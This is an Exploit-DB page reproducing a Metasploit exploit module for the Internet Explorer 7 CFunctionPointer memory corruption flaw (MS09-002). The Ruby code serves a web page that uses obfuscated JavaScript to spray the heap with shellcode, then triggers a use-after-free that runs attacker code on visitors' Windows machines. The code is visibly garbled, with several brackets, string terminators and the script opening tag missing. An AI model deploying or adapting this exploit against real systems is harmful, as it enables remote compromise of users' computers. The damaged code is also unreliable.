Microsoft Internet Explorer 7 – CFunctionPointer Uninitialized Memory Corruption (MS09-002) (Metasploit)

Exploit Database
124 阅读

作者： Metasploit

日期： 2010-07-12
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16555/

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# $Id: ms09_002_memory_corruption.rb 9787 2010-07-12 02:51:50Z egypt $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn

#include Msf::Exploit::Remote::BrowserAutopwn

#autopwn_info({

# :ua_name=> HttpClients::IE,

# :ua_minver=> "7.0",

# :ua_maxver=> "7.0",

# :javascript => true,

# :os_name=> OperatingSystems::WINDOWS,

# :vuln_test=> nil, # no way to test without just trying it

#})

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption',

'Description'=> %q{

This module exploits an error related to the CFunctionPointer function when attempting

to access uninitialized memory. A remote attacker could exploit this vulnerability to

corrupt memory and execute arbitrary code on the system with the privileges of the victim.

'License'=> MSF_LICENSE,

'Author' => [ 'dean [at] zerodaysolutions [dot] com' ],

'Version'=> '$Revision: 9787 $',

'References' =>

[

[ 'CVE', '2009-0075' ],

[ 'OSVDB', '51839' ],

[ 'MSB', 'MS09-002' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ]

'DisclosureDate' => 'Feb 17 2008',

'DefaultTarget'=> 0))

@javascript_encode_key = rand_text_alpha(rand(10) + 10)

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

if (!request.uri.match(/\?\w+/))

send_local_redirect(cli, "?#{@javascript_encode_key}")

return

end

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Set the return.

ret = Rex::Text.to_unescape([target.ret].pack('V'))

# Randomize the javascript variable names.

rand1 = rand_text_alpha(rand(100) + 1)

rand2 = rand_text_alpha(rand(100) + 1)

rand3 = rand_text_alpha(rand(100) + 1)

rand4 = rand_text_alpha(rand(100) + 1)

rand5 = rand_text_alpha(rand(100) + 1)

rand6 = rand_text_alpha(rand(100) + 1)

rand7 = rand_text_alpha(rand(100) + 1)

rand8 = rand_text_alpha(rand(100) + 1)

rand9 = rand_text_alpha(rand(100) + 1)

rand10= rand_text_alpha(rand(100) + 1)

rand11= rand_text_alpha(rand(100) + 1)

rand12= rand_text_alpha(rand(100) + 1)

rand13= rand_text_alpha(rand(100) + 1)

fill= rand_text_alpha(25)

js = %Q|

var #{rand1} = unescape("#{shellcode}");

var #{rand2} = new Array();

var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020);

var #{rand4} = unescape("#{ret}");

while(#{rand4}.length<#{rand3}/2)

{#{rand4}+=#{rand4};}

var #{rand5} = #{rand4}.substring(0,#{rand3}/2);

delete #{rand4};

for(#{rand6}=0;#{rand6}<0xC0;#{rand6}++) {#{rand2}[#{rand6}] = #{rand5} + #{rand1};}

CollectGarbage();

var #{rand7} = unescape("#{ret}"+"#{fill}");

var #{rand8} = new Array();

for(var #{rand9}=0;#{rand9}<1000;#{rand9}++)

#{rand8}.push(document.createElement("img"));

function #{rand10}()

{

#{rand11} = document.createElement("tbody");

#{rand11}.click;

var #{rand12} = #{rand11}.cloneNode();

#{rand11}.clearAttributes();

#{rand11}=null;

CollectGarbage();

for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++)

#{rand8}[#{rand13}].src=#{rand7};

#{rand12}.click;

}

window.setTimeout("#{rand10}();",800);

js = encrypt_js(js, @javascript_encode_key)

content = %Q|<html>

#{js}

</script>

</html>

content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end